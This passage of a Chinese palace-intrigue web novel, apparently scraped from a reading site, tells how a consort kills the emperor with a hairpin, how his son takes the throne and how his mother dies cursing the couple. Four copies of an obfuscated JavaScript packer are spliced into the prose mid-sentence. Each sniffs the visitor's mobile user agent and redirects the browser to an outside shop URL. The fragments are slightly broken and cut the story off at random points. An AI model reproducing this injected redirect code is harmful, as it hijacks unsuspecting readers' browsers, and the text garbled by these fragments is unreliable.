分别时,两人不舍地拥抱着皇甫妤,殷切地嘱咐。妤儿紧紧抓住娄庄姬的一缕头发,似乎还不知道发生了什么,没有哭,却更让人怜爱。 太守夫人把她抱到自己怀里,哄着她说:“你跟着阿姨住几天,等你住腻了,爹娘就回来接你喽。我们小宝贝很坚强,才不哭呢,是不是?” “过几天,等她意识到我们不在了就会哭了。” “小孩子忘事很快的,更难受的反而是大人。” 娄庄姬抚摸着她的小脸。 “我们不能陪她,她一定要平安长大。” 去往京师的路途比离开时要凶险百倍。他们一行人几次在人烟稀少的地方,遇到伪装成山贼的军队,意图谋害。幸好燕王的护卫部队也不是吃素的,这些阴招没有一次得手过。皇甫澍审问俘虏,他们说是袁国舅的部队。娄庄姬嘲笑道: “哼,袁国舅徒有其名,仗着姐姐得宠,一个书都没读通的纨绔子弟,仗也没打过就挂了个将军的名号,手下的部队,也只能在深山老林扮扮山贼,做些见不得人的勾当了。” 皇甫澍则望着南边京师的方向,面色凝重。 晚上,马车里,娄庄姬问了他一个问题:“你说真话,你对你父皇是什么样的感情?” “作为臣子,我效忠于他;作为儿子,我孝顺他。” “还有吗?” “还有什么?你想听到什么?” “我不知道还有什么,我要听你自己说出来。” 皇甫澍深深叹了一口气。 “我不说实话,你肯定不会放过我。” “知道就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974362|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “前十八年,我心里一直没有他,他心里也没有我。后来,我尝试过把他放回我的心里,很难,我做不到。你,母亲,还有妤儿,杜相,在我心里都比他重要的多。” “你可真不是个好儿子。” “是的,”他自嘲地笑,“他也不是个好父亲,不是吗?诚弟告诉我,他每次见父皇都害怕,怕他身上那一股烟熏味,父皇只要一捏他的脸,他就感到脸上火辣辣的。” 娄庄姬也笑了。车厢外,兵士们在吃饭喝酒,吵吵嚷嚷的,她的笑被掩埋了。 她紧接着又问:“如果,让你和二皇子争皇位,你会怎么做?” 皇甫澍眼神闪过惊诧:”争夺储君之位?我没想过。” “你就当我是在随堂考你,你想一个回答出来就好。” “我们不能在这里谈这个。” “不会有人听见的,说吧。” 皇甫澍凝神思考了片刻,答道: “若我想争夺,杜相和他的党羽、门生会支持,贵妃一党会阻挠,其他人会观望摇摆。我们要做的,就是放大自己的优势,铲除异己,再简单不过的道理。” “你这不就是什么也没说嘛。” “这种事情,怎么敢乱想。” “你不想,你的对手可是昼思夜想,”娄庄姬盯着他,“但你的赢面比他大多了。他还只是个孩子,什么功绩都没有。而你,你军功无数,支持者远远超过他,只要你愿意,皇位不会落到别家去。” “有一点你没有想到。” “哪一点?” “诚弟从来没有犯过大错。而我呢,我与父皇宠爱的嫔妃私奔,世人随时会给我扣一个不忠不孝、灭绝人伦的帽子,我德行有缺,怎么能继承大统呢?” 娄庄姬沉默了半晌。 “聊这些做什么,明天还要赶路,你早些歇息吧。” 黑暗中,娄庄姬在心里想到:总会有办法的。 到了京师,他们发现街头巷尾的舆论早已沸沸扬扬,他们早已成了百姓议论的焦点。二人不禁皱眉,皇家密辛怎能轻易外传,还任由人编排。 不过,他们很快发现这些议论并不都是贬损他们失节的。桃色秘闻肯定有,但另一种甚嚣尘上的说法是,娄庄姬对皇甫澍有养母之恩,二人均有志于报效家国,所以一同计划潜逃出宫。在这则传闻中,二人形象极其伟大,他们听着怪不好意思的。 狄平暂时告假了长史的职务,跟随他们,达到京师后便与他们同乘。 “二位有没有听过,说你们是不满于昏君,才携手出逃的。” “这种谣言,陛下就放任它传播?” “陛下哪管得到每一个百姓的嘴?” “恐怕对我二人不利吧。” “在陛下面前不利,在民心之中,有利。” 马车辘辘地驶进宫门。 再次回到熟悉的地方,这里的红墙黛瓦还是没有变,只是多了些岁月的痕迹。宫道上,随处可见宽袍大袖、头戴莲冠的道士,和散发着漫天熏烟的丹炉,把皇宫笼罩在灰暗神秘的气氛中。 娄庄姬的心砰砰直跳。她将见到很多熟悉的人,他们此时处于同一个空间中,柳慈、素砚、贵妃、皇帝,他们的心仿佛串在了一起,牵动着她的神经。她面色苍白,几乎要出冷汗了。 这时皇甫澍牵住了她的手。凭这一个动作,她很快就平静下来。接下来,要去面圣。 21. 吾非汝臣 未央宫里,烟熏火燎的气味更重了。地板上刻了太极卦图,墙壁上列满神位塑像。不像是皇帝的宫殿,倒像是奢华的道观。 那些金碧辉煌的塑像栩栩如生,以俯视的姿态静观殿中发生的一切。 深居简出的皇帝皇甫弘于大殿中央打坐,背对二人。他比从前更加清瘦,皮肤紧绷在骨头上,宽大的袍子沉重地压住他的肩膀。 “今年,各地屡发旱灾,朕已经三次作罗天大醮酬神祈雨,但是有人说,朕不体察民情。” “朕不是事必躬亲的君主,而是把权下放到各部,不养冗官,但是有人说,朕不理朝政。” “朕修行已久,惭愧不能学太上忘情,对于身边人的过错,总是感念旧情,能宽恕则宽恕。但是有人,仗着朕的宽宏大度,胡作非为。” 他缓缓起身,问底下跪着的两人: “你们说,做皇帝做到朕这个地步,是不是也挺无趣的?” 两个人额上都渗出了冷汗。 “谁先解释一下?做师父的先吧。” 娄庄姬叩首。 “罪妾娄氏,违反宫规,潜逃离宫,自知罪无可恕,任凭陛下处置。” “你的罪无需重申,但朕更好奇你的原因。” 娄庄姬沉默着,皇甫澍紧张地瞄了她一眼。 “是因为什么?朕对你恩宠不薄,哪一次你受了委屈没有帮你伸冤?朕欣赏你的才华,让你教授嫔妃。是婕妤的位分满足不了你?还是真如民间传闻所说,你们二人有——私情?这是朕不愿意相信的。” “陛下,”娄庄姬仰面视君,“您对罪妾的确恩重如山,罪妾蒲柳之身无以为报,妾离开只有一个原因,当时军情危急,妾忧心忡忡,心愿为国效力,却困于妃嫔之身志向难酬,只能出此下策,依托燕王投身报国。除此之外,别无不满,私情一说更是无稽之谈。“ 皇甫澍附和道:“娄氏所说,一切属实。” 皇甫弘捻着长长的胡须,面色静如深潭,沉吟道:“娄妃啊娄妃,你真是朕想不到的奇女子,朕从来没有见过像你这样的人。” “望陛下怜悯我二人一片忠君报国之心,至少···请陛下不要责罚燕王。” 皇甫弘笑了,说:“让朕猜猜,你们俩个敢回来,是不是认为朕是宽容大度之人,一定会原谅你们?” “妾和燕王是为了领罚而回来的。” “不,朕已经猜中了你们的心思。” 二人连忙磕头。 “澍儿先出去吧,娄昭仪,朕有好些话想要问你。” 皇甫澍一惊,犹豫不决,娄庄姬给他使了个眼色,让他听从吩咐,他只好一步三回头地退了出去。 烟雾缭绕的殿内,皇甫弘如同一只仙鹤般的身影若隐若现,娄庄姬抓着自己的衣摆,咽了下口水。 “娄昭仪,朕真的很中意你,你跟朕很像,你知道吗?” “罪妾岂敢与陛下并论,陛下折煞妾了。” “你自己想想看,我们和身边的人太不一样了。你在后宫妃嫔中就像一只特立独行、清高的孔雀,你谁都瞧不上,连你自己被迫跟她们同流合污的模样你都瞧不上,所以你要离开这里。” 他在烟雾中慢慢走近她。 “而朕呢,朕不是臣民们期待的好皇帝,或许在位的前十几年是,但现在一定不是了,他们怎么说的,朕沉迷玄修、妄求长生不老,不管朝政,辜负祖宗的江山社稷,是个难得一见的昏君、糊涂蛋!” 皇甫弘的脸霎时突出在娄庄姬眼前,巨大的鼻子、巨大的眼睛、瘦的皮包骨的一张脸,皮肤下散发出丹药的金属味。娄庄姬强作镇静,垂下眼睛。 “朕知道你在心里也这么想。” “罪妾岂敢。” “朕很早之前就知道,你跟朕是同样的人了。朕看出你蔑视其他人。朕何尝不是呢,不仅因为朕是天子,天上地下,唯吾独尊。朕为什么这么宽容大度,因为朕鄙视其他人,他们多无聊啊,不是像狗一样追求着荣华富贵,就是披上伪善的皮,当一条站起来的狗后继续追名逐利,他们一点意思都没有。你是不是也这么觉得?” 娄庄姬盯着他表情夸张的面容。 “现在这里只有我们两个人,你不用伪装出这样一副道貌岸然的样子,不要管那些礼数了,就当这是朕赐给你的特权。” 他见娄庄姬还是僵硬地跪坐着,不为所动,挠了挠头发稀疏的脑袋,又说道: “既然这样,朕再跟你分享一个你一定感兴趣的事。你还记得寿妃吧,朕曾经像看好你一样看好寿妃。” 娄庄姬的表情紧张起来了,皇甫弘见状嘿嘿一笑。 “寿妃在朕的宫中肆意生长着,朕喜欢她身上那股劲,任性地撕咬着她看不顺眼的一切,天地都填不满她的野心。可她虽然有那样的冲劲,内里却草莽无聊,到头来追求的,只是后位。她让朕失望了,可你没有。” “你从冷宫中出来,教出来了朕最得意的儿子;你是第一个敢拒绝与朕同寝的;你与朕的宫廷格格不入。朕本来为你的丧生惋惜,可你又一次让朕出乎意料了,你利用你的弟子,去了幽州,去打仗。多么惊世骇俗啊。朕由此确认了,你就是朕的知音。” 娄庄姬冷冰冰地答道:“罪妾要让陛下失望了。” “你不会,朕相信朕的眼光,”他抱住娄庄姬的肩膀,浑浊的眼里发出神经质的光芒,“只有你才能懂朕。朕已经对世上其他人失望了,不管是大臣、妃子,连朕的儿子都不能理解朕,只有你才可以。朕要带你一起走!” “去哪儿?” “朕已经派人修筑了一艘大船,朕和你,还有五百童男童女,我们离开这个国家,去更远的地方,求仙访药,远离世俗的纷扰,你难道不向往这样的生活吗?你不喜欢逃离吗?” 娄庄姬一字一句地说: “陛下恕罪,罪妾不喜欢。” “不可能。” “罪妾无可置辩。” “等你上了船之后,就会喜欢了。你回来就好,我们明天就出发。” 皇甫弘说着,就要去拉她的手,却被她不耐烦地甩开。他为这失礼的行为吃了一惊。 “陛下,我不会跟您走。” “为什么,你这是抗旨。” “您已经不配做我的君王了,我为全天下、您曾经的臣民感到难过。” “不做君王就不做,我之前还在乎王位,现在已经完全不关心了。不管是澍儿还是诚儿,谁想要就给谁吧。你喜欢澍儿,那就给澍儿做。我们只要互相理解彼此,世界就只有我们两个,身份于我们都是身外之物。” “陛下!”娄庄姬提高了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974363|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓门,“我为您也感到难过。” “什么?” “我不敢相信,一个人活在世上几十年,竟然能这样庸俗、疯癫、不知廉耻、卑鄙、无知!” “你在用这些词形容我吗?你骂的对,我们那么像,你自己难道不也是如此?这些词对我们来说,不是贬损,而是夸赞。” 娄庄姬用凶狠的眼神看着他: “我和您不一样,一点都不一样。” “你的意思是,你不愿意跟我走?” “绝不愿意。” “那你就留在这里,我会杀了你。” “我也不会让你杀了我。” “你想得太美。” “看看谁想得美。” 娄庄姬话音刚落,手立刻取下自己头上的银簪——她出发前曾将它精心打磨过,锋利无比,毫不犹豫地刺向皇甫弘的脖颈,他还没有反应过来,立刻鲜血喷溅,洒在了八卦图上。 “我不会让一个一无是处的人杀了我。” 皇甫弘难以置信地望着她,嘴里喃喃着好像说:“世上只有你我能理解彼此,你为何···” 他话没有说完,已经身体脱力,直直地倒在地板上。 “还有一点,”娄庄姬将银簪上的血甩干净,“你也同意澍儿当皇帝吗,那再好不过了。” 皇甫弘在地上抽搐几下后,再也没有动弹,没了气息。死不瞑目,只有鲜血还在汩汩流出。 娄庄姬揉了揉太阳穴,很疲惫地喊道: “请燕王入殿!” 皇甫澍还需要一点时间接受发生了什么。眼前父皇的尸体让他头晕目眩。娄庄姬思索了一下,不打算告诉他刚刚那一场荒唐的闹剧。她想起了多年前,涂才人杀掉疯妃的时候。谁也没有告诉皇甫澍那场惨剧,是他自己悟出来的。这次,他也可以。 “我们现在该怎么办,我们弑君了。” “是我弑君了,你可以立刻把我关起来。” 娄庄姬扯出一个不自然的笑。 “别说傻话了,我们俩是一体的。” 娄庄姬很累,殿上唯一的座位是龙椅,她瘫软地坐上去。 “狄平会在外面处理好的。” “他还不知道这件事。” “他预料到会这样了。” “什么,难道你们?” “我们在来的路上,就已经决定好,要么逼他退位,要么直接弑君,只不过没想到这么快。” 娄庄姬看着皇甫澍茫然无助的表情。 “你们没有告诉我?” “这对你太残忍了,他毕竟是你父亲。” “你们···”皇甫澍狠狠地摇头,好像要把自己困惑和痛苦全部摇出去,过了半晌,他低声问道,“你们安排好接应的军队了吗?袁国舅虽然徒有其名,手下还是有几支精锐部队的。” “没有。” “你们太冒险,真是不要命了,你们会把我们都害死在这。” 娄庄姬对他的愤怒表示沉默。 他重重地喘了几口气,颤抖着说: “我已经安排好亲兵,秘密向京师进发,他们会比我们晚一天到。那本来是担心陛下会对你动手而准备的,没想到还真用上了。” 娄庄姬笑了: “果然,跟我预料的一样。” 22. 将仲子(一) 燕王军队进京的消息很快传开了,在百姓间引发的不是恐慌,而是庆贺。 大梁朝在皇甫弘执政下,天怒人怨,民不聊生。人们对那些侵占土地、趾高气扬的道士深恶痛绝,被征去修筑道观时,会重重地敲击石块,诅咒这些蛀虫。 狄平暗中为“荧惑守心”的天象预言推波助澜,有关于燕王顺天承命,取代昏君的呼声越来越高,贵妃的势力已经按压不住。他回京后,很快联络上了家族,请他们奔走出力,拉拢群臣。 他接下来又去找了自己曾经的老丈人和二公主。 杜相虽然厌恶他这个人,但一直坚定不移地支持自己的徒弟燕王,不需狄平多费口舌。 公主那边,虽然她听到逼自己父皇退位一事,面露难色,但禁不住狄平软磨硬泡,答应会站在燕王一边,并受他之托,去说服其他宗室。 进京后的次日,宫内便放出了皇帝误食金丹后中毒驾崩的消息,燕王做主,斩了御前最得宠、为皇帝炼制仙丹的方士,其他谄媚奉承的道士一并驱逐出宫,丹炉金鼎全部炼化,还宫中清平气象。 他很快就控制住了皇宫群龙无首的局面。对他的立刻接管,袁贵妃大怒,欲联合自己的弟弟入宫“讨贼”,国舅的军队却在宫门前就被层层甲兵拦住,根本无所作为。 皇甫澍即将践位为新帝已经是板上钉钉的事了。大内总管冯盼春作证,先帝临终前虽未留下遗诏,但口头上已经表明了要将皇甫澍立为太子。朝中人见局势已经明了,无人敢非议,几个叫嚣着燕王为乱臣贼子的,很快就被革职处罚了。燕王手段雷厉风行,震慑朝堂,在朝野内外赢得了巨大威望。 政局的事基本上已成定数,但皇甫澍并未安下心。 这场巨大的风波虽然是顺应时局而发生的,许多人见风使舵,并未受到太大的震撼。但只要是风暴,就必然会波及伤害到一些人,这些人里面就包括他阔别许久的母亲——病情加重已经奄奄一息的柳慈。 皇甫澍和娄庄姬鼓足了勇气,一起去看望这位他们最感到愧疚的人。 柳慈的宫殿充斥着药草的苦味,她静静地躺在绸缎细软之中,头发斑白,瘦弱憔悴。冷宫留下的后遗症从没有离开,反而猖狂地折磨她的身体。 听到二人来了,她警觉地抬起头,露出嘲讽、冷酷的笑。 “你们俩真是太有本事了。” “母亲,我要做皇帝了。” “我不聋,外面的一切我都知道。只有你们刻意瞒着我的事,我不知道。” 二人羞惭地低下头。 娄庄姬不敢直视她,反而是柳慈先对她说: “我要先和你说话。” 皇甫澍知趣地退了出去。 娄庄姬慢慢地走到柳慈的床边,屋内的陈设宛如当年,丝毫未变,只是二人的举止再不复往日的亲昵。 柳慈明明笑着,却让她不安。 “你说说,你们俩离开的时候,怎么没想起来把我带上呢?” “姐姐,我是无法忍受宫里的日子了,才决定抛下一切离开的。你和我不一样,你在宫里,等着你的是好日子,澍儿会有出息,你有做太后的命。” “不要说这些冠冕堂皇的话了,你直说吧,你做这个决定时,想的更多的是我,还是你自己?” “姐姐,话不能这样问。” “我早就看出来了,澍儿和我不是一条心。你,你们俩才是一体的。” “澍儿是你的亲儿子,疏不间亲,你们的母子情分是斩不断的。澍儿在幽州时,心里一直记挂姐姐呢。” “口头上的记挂,哪有直接把人都带走了深厚。” 娄庄姬握住她的手腕。 “澍儿说,他在幽州成家了,你比我更了解吧。” “是,姐姐,你是我在宫里最亲的人,我们患难与共,我不瞒你。我···” “嘘,别说,我想我已经猜中了。是啊,这样一切都说的通了,世上还有什么别的感情,能让人忘乎所以、抛下所有离开呢?” “姐姐,我们是真心相爱的,求求你一定要原谅我们。” “我本来以为你是我的姐妹,你会跟我一样,把澍儿当作孩子来爱,可你骗了我,你骗了我好多次,我不知道你的嘴里还有没有真话。” “姐姐,我对不起你。” “你实话告诉我,你勾引他了吗?” “我爱他。” “你这样是害他。你现在恢复身份了,你还是他的庶母,你会让他背负骂名。” “我知道,姐姐,我想好了。我们不会以夫妻的名义在一起。” 她的退让反而激起了柳慈更深的愤怒,她眼里爆发出狠毒的火焰:“你背叛了我,澍儿也背叛了我。我诅咒你们两个,你们不能在一起,你们永远不会幸福。” “姐姐,你有什么怨恨,都发泄在我身上吧。与澍儿无关。” “不,你们俩个都不清白!我以前把你们俩都想的太好了。尤其是澍儿!”她沙哑地嘶吼,如一头垂死挣扎的母兽,“我的儿子就不会背叛我吗?他能叛逆父亲,就不会叛逆母亲吗?我这一生就是被男人害了。先是丈夫,再是儿子!” 她爆发出一阵撕心裂肺的咳嗽。 “我的咒诅还没有说完,你们也要品尝我的痛苦,你们会做世界上最痛苦的父母,你们的孩子会恨你们,永远不会安生!” “姐姐,”娄庄姬叩首在柳慈形销骨立的手背上,“我们都知道错了,求求你嘴下留情,我们是你最亲的人啊。” 柳慈的身体僵直了,她像一根木棍似的直挺挺地倒在榻上,说: “最亲的人,我也求你别说了。我这一生多像个笑话,我什么也没有做成,一件让我自己满意的事儿都没有。你不为我难过吗?” 娄庄姬沉默着,泪水不断地滚落。 “你别叫我姐姐了,但我也不能遂你的心愿,让你叫我娘。我们之间到底是什么关系?我也说不清,我真想和你什么关系都没有,我想和谁都没有关系。我清清白白的来,最好就清清白白的走。你们的谎言、欺诈让我觉得恶心。” 她扭头,认真盯着娄庄姬,想要把她的脸从外到内研究个明白,看穿她的皮、肉、骨、髓,她不是一个很聪明的女人,到了生命的最后仍是如此,她露出了一个困惑的表情,轻轻地说: “娄姑娘,你可以延续我的罪,你去做那个被称作我儿子的人的母亲吧。男女之间的关系没有那么复杂,只有母子。” 说完这句。她也不管娄庄姬的回应,合上眼睛,说: “把皇甫澍喊进来吧。” 娄庄姬踏出门槛的时候,皇甫澍也刚好走进去,他想握一下她的手,她却好像没有意识到一样,手从他的掌中滑落。 庭院里,宫人们各司其职,忙碌着。有个宫女——看着装应该是柳慈的贴身婢女,给她递上一杯热茶,她接过,问道:“姐姐的病如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974364|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 那宫女愁眉不展:“娘娘这几年一直凭药吊着,不敢有歇,听了先皇驾崩的消息更是不好,太医说,只怕就在这几天了,让我们早做准备。” 娄庄姬好不容易止住的眼泪差点又落下了。 “我对不起姐姐。” “娄娘娘别这么说。” 这个宫女低眉顺眼,面目姣好,娄庄姬对她不禁有了几分好感。 “你以后不侍奉姐姐,要做什么去呢?” “不知道,或许去侍奉别的贵人吧。” “你叫什么名字?” “贱名莲蕴,家里姓黄。” “本宫记下了。” 皇甫澍在房内唤道:“母亲要喝水!”莲蕴连忙去端水,娄庄姬只能自己在原地整理思绪。 在入京的马车上,狄平是这么跟她分析的。 “您猜,殿下登基后,会给您什么名分?” “全看他的心意。” “您不好意思了?我直说了,他一定会想立您为皇后。而我要说的则是,您一定要阻止他。” “为何?” 狄平侃侃而谈。 “您的身份现在举国皆知,是陛下的妃嫔、殿下的庶母,我朝以孝为本,若殿下想将您扶为皇后,必将引起天下人指摘,动摇人心,这对于本就不是正统继位的新君来说,是很危险的。万一有心之人编造一个霸占庶母、弑君弑父的罪名,殿下必将处于舆论劣势。” 娄庄姬的眉头皱起来了。 “这是为了殿下皇位稳固着想,您也别忘了为您自己想想。” “为了我自己?” “您若是当了皇后,辈分上可就要被贵妃压一头,您不也处于弱势了吗?” “这就是无稽之谈了,一个失势的太妃,何谈压皇后一头的呢?” “您说的对,正所谓此一时彼一时嘛,不过,话说到这···”狄平一顿,“您也不能保证自己将来会一直盛宠不衰,帝王心性,您是再了解不过了。” “澍儿不会重蹈前人覆辙。” “臣也觉得,但世事难料。” 娄庄姬一怔,有些迟疑,却没有反驳,听得更加投入。 “臣知道您的追求,绝不仅限于后宫争宠。其他事情,臣不便妄加揣测,只能靠您自己想清楚,想无拘无束地实现您的追求,皇后的身份,合不合适?够不够您施展手脚。” “你的意思是?” “您应该让殿下尊您为太后。” 正想到此处,皇甫澍从里屋走了出来,看起来也是哭过的。他想倚在娄庄姬身旁,而她不动声色地退了一步。 “姐姐跟你又说了什么?” “她说,”皇甫澍深吸一口气,很艰难地复述,“她恨我,她受了一辈子的苦,就是因为有了我。” 看来柳慈到最后还是拒绝了做一个好母亲。 他问道:“这是真的吗,我分不清这是气话还是真话。” 娄庄姬也分不清,她只好勉强安慰:“是气话,哪有母亲会恨自己孩子的。” “但我也觉得自己对不起母亲。” “她还说了什么。她跟我说,不让我们俩在一起。” “是···她也提了这个。但恐怕这一点,我又要忤逆她了。” “不,你不能忤逆她,”娄庄姬看着他露出惊讶的表情,咬着牙说道,“我也这么觉得,我们,不能再像幽州那段时间一样了。” 23. 将仲子(二) “我没有听明白,什么不一样?” “就是说,你要当皇帝,而我不能做你的皇后。” “那你做什么呢?” “我名义上是你的母亲一辈的。你应该对外说,我是你的养母。” 皇甫澍惊得合不拢嘴。 “你想让我尊你为太妃,或者太后?” “是。” “这太荒谬了,我们的关系,有什么见不得人的?” “要是见得人,我们还需要遮遮掩掩、躲躲藏藏,我还需要隐姓埋名做了五年你的侍妾吗?” “你说过我们无需在乎世俗的虚礼。” “那是以前,现在不同了,你现在就是最需要遵守礼法的人。” “皇帝是被礼法束缚最狠的人吗?那我宁愿不当。” “不许再说这种话,你多大了,你不是小孩了,你在跟我闹脾气吗?”娄庄姬用很严厉的责备口吻说。 皇甫澍被她斥责后,从喉咙里,慢慢地、一点一点变得急促地冒出笑声,非常苦涩的笑。 “这座皇宫到底有什么毛病,怎么每次你一回到这里就变成了一个我不认识的人?你现在的样子刁钻、凶恶,你还认不认得出来你自己?” 娄庄姬深呼吸,她告诫自己道,自己不是来跟他吵架的,是来说服他接受自己的提议的。 “你听我说,你登基是一件已成定局的事,天下没有别人比你更适合这个位置,千千万万的黎民百姓都盼望一位明君,来救他们于水火之中,你要顺应民意。” “我来这里,只是为了向父皇请罪,他愿意宽恕我们最好,不愿意,我起码要把你救走,从此我就与你一同浪迹天涯。我没有想过登基、做皇帝,更没有想过弑君弑父,这些事是你们背着我干的,这个帝位是你们逼我做的!” “我们逼你称帝?你说的像自己受了委屈一样,不要天真了,好吗?“娄庄姬看着眼前的人,心头涌上一股无助,夹杂着焦急,她想牵起皇甫澍的手,却被他果断地用力甩开。她感到一阵眩晕,勉强站直后,用祈求的眼神看着他,说, “算我求求你,燕王殿下,你不是一个孩子了,世上多的是你不想做却不得不做的事,你得面对它们。你生来是皇子,这是你作为皇子的命运,这条路不是我为你选的,是你的出身为你选的。” 皇甫澍避开了她炽热的眼神,眼睫颤抖。 “就算是这样,我们已经成了夫妻,又怎能再做母子?” 娄庄姬见他有所动摇,连忙补充道: “这是做给世人看的,为的是堵住那些风言风语,你是以孝治国的君主,而不是夺了父妾的逆臣。越到高位的人,越需要礼节的粉饰。至于人后怎么做,那就是另一回事了。” 皇甫澍将头扭回来,皱着眉头看着她,让她有些不安。 “你的意思是,在人后,我们还是夫妻吗?” 娄庄姬很用力地点头。 “我们只是给世人做戏?” 她点头。 “好吧,我答应你。” 娄庄姬心里的石头总算落地了,她努力做出一个充满喜悦的笑。 “但我觉得我们也不必做戏了,我受不了说一套做一套。” 话音刚落,他也不顾娄庄姬的反应,拂袖而去。 娄庄姬在原地愣住了。她的愿望完成了,可她却没有想象中那样高兴。风呼呼地刮过,直到把她的脸颊吹疼了,她才回过神来。 那几天她没再单独跟皇甫澍见面。唯一与他相处是在柳慈的病榻前。三个人都不说话,沉默地煎药、喂药、喝药,空气像被榨干了一样,让人喘不过气来。 娄庄姬没有放弃尝试请求她的原谅,向她诉说自己的苦衷。 “姐姐,宫里就像一个牢笼。” “可你为什么还要回来呢?” “我是被先帝命令回来的。” “不,你一直在等待着回来的时机。” 柳慈没有撑几天,在与儿子重逢不久后就撒手人寰了,至咽下最后一口气时也没有原谅二人。 皇甫澍将她追封为太后。她的葬礼与皇帝大丧一同操办,隆重非凡,举国缟素,有人提议,将二人合葬。皇甫澍驳回了,下旨将先帝与早年过世的先皇后合葬,而他在妃陵中亲自择选了一块风水宝地,将母亲安葬。 “朕没有尽到孝道,母后活着的时候没有享过我的福气,反而为我受苦。唯有在母后薨后,隆重丧礼,以尽儿反哺之心。” 至于他昏庸的父皇,他说了几句陈词滥调的悼词。世人皆知先皇突然驾崩必有阴谋,但除了极少部分人,根本没人想追究新帝的责任。天意所指,众望所归,谁在乎新皇的眼泪里,有几滴是为了父亲而流的呢? 新君服国丧以日易月,但二十七天的丧期很漫长,皇甫澍眼下已经因为昼夜啼哭而变得乌紫,又加之这几天茶饭不思,面色蜡黄。他面对着宫内招魂者呕哑的唱腔、怪诞的舞蹈,神情呆滞,参加丧仪的群臣看了,都不禁担忧。而到了最后几天,皇甫澍支撑不住哭晕倒地,真正引起了恐慌。 皇帝的状态不好,大臣们只得暂请太后出来维持局面。哪怕这位太后正饱受非议。 皇甫澍答应了娄庄姬的要求,对外宣称她为天子养母、于国有功,应为太后,引起了一片哗然。人们觉得虽说这不是不行,但娄氏并非新皇生母,又未曾做过皇后,先皇在世时位分也不算很高,更何况还有私自出宫的劣迹,尊为太后恐有德不配位的嫌疑。有人提出折中方案,尊为太妃是不是更妥当些。但皇帝不为所动。 人们哪怕心里不服,也只能认下这个太后,关键时候,还得请她出面。 皇帝卧床休养时,两朝元老杜丞相请求进宫,面见太后。 杜丞相这些年忧心忡忡,已经十分老迈,发须全白,佝偻憔悴,娄庄姬免了他的礼,令人赐座。 杜相是朝中少有的对娄庄姬意见没那么大的臣子,一见面,他就表达了对她才华的认可和敬佩,盛赞新皇即使年少时经历坎坷,天赋仍能被发掘,都是因为有她这样一位贤师。 “杜相过誉了。” “微臣字字皆是肺腑之言。” “您也知道,朝中对本宫疑虑重重的人不在少数。本宫不是皇帝的亲生母亲,也不曾做过皇后,很多人私下里评论,我没有资格做太后,做天下最有权势的女人。” ”太后不必在意宵小之辈的妄议。“ “杜相,你呢?先皇昏聩,你是我朝数一数二的大家、贤臣,但无处施展才华。你的才干不能彰显,后世无处寻觅你的功绩,无法认可你。先皇在时,还有多少人怀着像你一样的遗憾,郁郁不得志?” “微臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974365|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所见,很多,数不胜数。” “如今,本宫可以给他们一个机会。” “请太后明示。” “他们可以信任本宫。对本宫的信任就是他们才华最佳的展示。本宫只要全天下最有才的那一帮人的信任,不要庸夫的追捧。劳烦杜相,转告群臣。” “微臣遵命。” 娄庄姬略带疲态地合上了眼睛,问身旁的侍女莲蕴道: “皇帝怎么样了?” “陛下还在静养中。” “多安排几个太医,让伺候的人不许懈怠。” “是。” 杜相说:“陛下积劳成疾,这几天内外事务,还要请太后主持了。” “这是自然的。” “所幸陛下年轻力壮,不日便可重新临朝,太后只需劳累这几天就好了。” 娄庄姬听他话里似有弦外之音。 “杜相不必多心,等皇帝身体康复,本宫自会将大权交还。” 杜相颔首。 “如此微臣则可向百官交代了。” “给杜相赐茶吧。” 杜相真是老了,接过茶水时双手颤颤巍巍的,娄庄姬看着不禁担心地皱起了眉头,怕他将茶洒出来。 “杜相为我朝鞠躬尽瘁,不可不谓是一代贤臣。” “太后谬赞了。微臣今日前来,还有一事,是为了微臣自己。” “但说无妨。” “微臣已近古稀之年,近年来愈发感到年老体衰、力不从心,对朝中事务,难以做到面面俱到,实感心力交瘁。愿乞骸骨,赐微臣还乡。” 娄庄姬一惊,挽留道: 